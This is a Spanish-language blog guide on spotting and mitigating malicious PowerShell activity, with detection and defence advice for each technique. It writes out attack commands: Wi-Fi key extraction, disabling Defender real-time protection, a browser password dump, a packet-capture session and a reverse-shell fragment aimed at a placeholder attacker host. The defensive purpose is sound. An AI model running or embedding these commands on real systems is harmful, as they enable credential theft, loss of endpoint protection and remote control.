# Identificación y Mitigación de Actividades Sospechosas en PowerShell

- Link: https://binariocero.com/windows/identificacion-y-mitigacion-de-actividades-sospechosas-en-powershell
- Published: 2025-11-22T13:09:47+01:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

Esta guía recoge varios comandos de PowerShell que _podrían ser utilizados en un
ataque real_. Su objetivo es **aprender a identificarlos, comprender su impacto 
y aplicar contramedidas**, tanto en análisis forense como en la protección de sistemas
Windows.

## 1. Extracción de Perfiles Wi-Fi

    ```wp-block-code
    netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_-replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }
    ```

**Descripción:**
Los atacantes pueden intentar enumerar redes Wi-Fi almacenadas 
en el sistema y extraer sus contraseñas.

**Riesgos:**

 * Robo de credenciales Wi-Fi.
 * Acceso a redes corporativas.

**Cómo detectarlo:**

 * Comandos `netsh wlan show profile` en el historial PowerShell.
 * Eventos de seguridad 4688 (creación de procesos sospechosos).
 * Herramientas EDR generando alertas.

**Medidas defensivas:**

 * Deshabilitar almacenamiento de contraseñas Wi-Fi.
 * Monitorizar ejecución de `netsh` en endpoints.
 * Aplicar políticas de Zero Trust para redes inalámbricas.

## 2. Monitorización del Sistema de Archivos

    ```wp-block-code
    $watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\';
    $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent
    $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }
    ```

**Descripción:**
El uso de `FileSystemWatcher` puede ser legítimo, pero un actor
malicioso puede usarlo para vigilar carpetas sensibles.

**Riesgos:**

 * Detección de actividad del usuario.
 * Automatización de robo de archivos.

**Detección:**

 * Scripts no autorizados ejecutándose en segundo plano.
 * Creación de eventos persistentes (`Register-ObjectEvent`).

**Mitigación:**

 * Restringir ejecución de PowerShell no firmado.
 * Habilitar PowerShell Logging (Script Block Logging + Module Logging).
 * Supervisar eventos persistentes con Sysinternals Autoruns.

## 3. Creación de Reverse Shell

    ```wp-block-code
    $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream =
    $client.GetStream(); [byte[]]$bytes = 0..65535...
    ```

**Descripción:**
Un atacante puede intentar establecer una conexión saliente a un
servidor remoto para ejecutar comandos de forma remota.

**Indicadores:**

 * Uso de `System.Net.Sockets.TCPClient`.
 * Conexiones salientes a IP desconocidas.
 * Alertas de firewall por tráfico inusual.

**Protección:**

 * Bloquear conexiones salientes no autorizadas.
 * Monitorizar PowerShell de alto riesgo mediante AMSI.
 * Reglas estrictas en firewall corporativo.

## 4. Desactivación de Windows Defender

    ```wp-block-code
    Set-MpPreference -DisableRealtimeMonitoring $true
    ```

**Descripción:**
Los comandos de `Set-MpPreference` son comunes en ataques para 
desactivar la protección del sistema.

**Riesgos:**

 * Desprotección total del endpoint.
 * Instalación de malware sin impedimentos.

**Cómo detectarlo:**

 * Eventos en `Microsoft-Windows-Windows Defender/Operational`.
 * Cambios inesperados en políticas de antivirus.

**Contramedidas:**

 * Bloquear cambios locales mediante GPO.
 * Forzar protección en la nube.
 * Implementar soluciones EDR independientes.

## 5. Extracción de Contraseñas de Navegadores

    ```wp-block-code
    Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt
    ```

**Descripción:**
Herramientas de volcado de contraseñas pueden ser usadas para robo
de credenciales.

**Indicadores:**

 * Scripts que acceden a bases de datos de navegadores.
 * Archivos de salida sospechosos (ej. `browser_passwords.txt`).

**Protección:**

 * Deshabilitar almacenamiento de contraseñas en navegadores corporativos.
 * Monitorizar acceso a archivos `Login Data`.
 * Aplicar MFA para reducir impacto.

## 6. Sniffing y Captura de Tráfico

    ```wp-block-code
    $adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60
    ```

**Descripción:**
Un atacante podría iniciar sesiones de captura con `New-NetEventSession`.

**Riesgos:**

 * Acceso a credenciales en texto claro.
 * Interceptación de datos sensibles.

**Detección:**

 * Archivos `.etl` generados sin autorización.
 * Sesiones activas de NetEvent.

**Mitigación:**

 * Restringir permisos de captura de red.
 * Cifrar todas las comunicaciones internas.
 * Auditoría regular del firewall y tráfico interno.

## Conclusion

Esta guía muestra técnicas que pueden utilizarse en ataques reales, y ofrece **criterios
para detectarlas y defenderse**.
